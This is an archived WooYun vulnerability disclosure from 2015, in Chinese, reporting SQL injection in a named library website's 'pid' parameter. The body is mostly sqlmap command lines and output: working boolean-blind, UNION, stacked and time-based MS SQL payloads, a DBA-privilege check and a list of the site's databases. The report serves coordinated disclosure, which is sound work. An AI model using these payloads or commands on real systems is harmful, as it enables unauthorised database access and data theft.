乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-03-17: 细节已通知厂商并且等待厂商处理中 2015-03-20: 厂商已经确认,细节仅向厂商公开 2015-03-30: 细节向核心白帽子及相关领域专家公开 2015-04-09: 细节向普通白帽子公开 2015-04-19: 细节向实习白帽子公开 2015-05-04: 细节向公众公开
SQL注入,DBA权限,可出数据
注入点:http://www.cdclib.org/sciedu/callanscience.aspx?pid=02
GET parameter 'pid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]sqlmap identified the following injection points with a total of 40 HTTP(s) requests:---Parameter: pid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: pid=02' AND 7368=7368 AND 'rLIo'='rLIo Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: pid=02' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(112)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(72)+CHAR(78)+CHAR(69)+CHAR(71)+CHAR(78)+CHAR(113)+CHAR(85)+CHAR(83)+CHAR(108)+CHAR(85)+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(120)+CHAR(113)-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: pid=02'; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: pid=02' WAITFOR DELAY '0:0:5'-----[02:26:00] [INFO] testing Microsoft SQL Server[02:26:00] [INFO] confirming Microsoft SQL Server[02:26:01] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2000[02:26:01] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 15 times[02:26:01] [INFO] fetched data logged to text files under 'C:\Users\DarkWing\.sqlmap\output\www.cdclib.org'[*] shutting down at 02:26:01
DBA权限
C:\Users\DarkWing>sqlmap.py -u "http://www.cdclib.org/sciedu/callanscience.aspx?pid=02" --is-dba _ ___ ___| |_____ ___ ___ {1.0-dev-nongit-20141222}|_ -| . | | | .'| . ||___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targetswithout prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 02:26:31[02:26:31] [INFO] resuming back-end DBMS 'microsoft sql server'[02:26:31] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: pid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: pid=02' AND 7368=7368 AND 'rLIo'='rLIo Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: pid=02' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(112)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(72)+CHAR(78)+CHAR(69)+CHAR(71)+CHAR(78)+CHAR(113)+CHAR(85)+CHAR(83)+CHAR(108)+CHAR(85)+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(120)+CHAR(113)-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: pid=02'; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: pid=02' WAITFOR DELAY '0:0:5'-----[02:26:32] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2000[02:26:32] [INFO] testing if current user is DBA[02:26:32] [WARNING] reflective value(s) found and filtering outcurrent user is DBA: True[02:26:32] [INFO] fetched data logged to text files under 'C:\Users\DarkWing\.sqlmap\output\www.cdclib.org'[*] shutting down at 02:26:32
可出数据
[*] starting at 02:27:27[02:27:27] [INFO] resuming back-end DBMS 'microsoft sql server'[02:27:27] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: pid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: pid=02' AND 7368=7368 AND 'rLIo'='rLIo Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: pid=02' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(112)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(72)+CHAR(78)+CHAR(69)+CHAR(71)+CHAR(78)+CHAR(113)+CHAR(85)+CHAR(83)+CHAR(108)+CHAR(85)+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(120)+CHAR(113)-- Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: pid=02'; WAITFOR DELAY '0:0:5'-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: pid=02' WAITFOR DELAY '0:0:5'-----[02:27:31] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2000[02:27:31] [INFO] fetching database names[02:27:31] [WARNING] reflective value(s) found and filtering outavailable databases [13]:[*] cdlibBBS[*] ich2007[*] Immaterial[*] LIBWMS[*] localDoc[*] master[*] model[*] msdb[*] ndcnc[*] Northwind[*] pubs[*] shscore[*] tempdb[02:27:31] [INFO] fetched data logged to text files under 'C:\Users\DarkWing\.sqlmap\output\www.cdclib.org'[*] shutting down at 02:27:31
available databases [13]:[*] cdlibBBS[*] ich2007[*] Immaterial[*] LIBWMS[*] localDoc[*] master[*] model[*] msdb[*] ndcnc[*] Northwind[*] pubs[*] shscore[*] tempdb
过滤
危害等级:中
漏洞Rank:8
确认时间:2015-03-20 17:12
CNVD确认所述情况,已经转由CNCERT下发给分中心,由其后续协调网站管理单位处置。
暂无